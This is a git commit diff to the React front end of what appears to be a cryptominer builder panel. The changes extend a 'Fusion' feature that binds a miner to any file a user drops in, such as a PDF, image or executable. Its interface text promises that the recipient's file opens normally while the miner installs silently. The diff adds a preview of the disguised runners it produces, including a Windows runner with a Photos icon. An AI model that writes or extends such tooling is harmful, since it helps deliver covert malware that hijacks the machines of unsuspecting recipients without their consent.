Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -426,14 +426,23 @@ export default function BuilderPage() {
|
||||
const applyFusionFileSelection = (f: File | null) => {
|
||||
setFusionPrepFile(f);
|
||||
if (!f) return;
|
||||
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
|
||||
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
|
||||
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
return {
|
||||
return normalizeForgeForm({
|
||||
...prev,
|
||||
fusion_payload_kind: fusionPayloadKind(f),
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: defaultRunnerName(f.name),
|
||||
};
|
||||
...(preferPaired && prev.fusion_media_mode === 'embedded'
|
||||
? { fusion_media_mode: 'paired' as const }
|
||||
: {}),
|
||||
...(!prev.fusion_enabled
|
||||
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
|
||||
: {}),
|
||||
});
|
||||
});
|
||||
};
|
||||
|
||||
@@ -1547,21 +1556,44 @@ export default function BuilderPage() {
|
||||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||||
/>
|
||||
{deliverableType !== 'fusion' && (
|
||||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.fusion_enabled}
|
||||
disabled={fieldMeta.fusion_enabled?.disabled}
|
||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||
onChange={(e) => {
|
||||
if (e.target.checked) {
|
||||
setForm((prev) =>
|
||||
prev
|
||||
? normalizeForgeForm({
|
||||
...prev,
|
||||
fusion_enabled: true,
|
||||
spread_kit: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
})
|
||||
: prev
|
||||
);
|
||||
} else {
|
||||
setDeliverableType('single');
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="fusion_enabled" />
|
||||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||||
{form.fusion_enabled && (
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{deliverableType === 'fusion' && (
|
||||
{deliverableType === 'fusion' && form.fusion_enabled && (
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
|
||||
Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
|
||||
</p>
|
||||
)}
|
||||
{form.fusion_enabled && (
|
||||
@@ -1785,6 +1817,20 @@ export default function BuilderPage() {
|
||||
<p className="form-hint">
|
||||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||||
</p>
|
||||
{fusionPrepFile && (
|
||||
<div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
|
||||
<li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) — opens the image in the default viewer, miner runs hidden.</li>
|
||||
<li><strong>Linux:</strong> <code>start.sh</code> → <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
|
||||
<li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
|
||||
{fusionMediaMode === 'paired' && (
|
||||
<li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
|
||||
)}
|
||||
<li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||
|
||||
Reference in New Issue
Block a user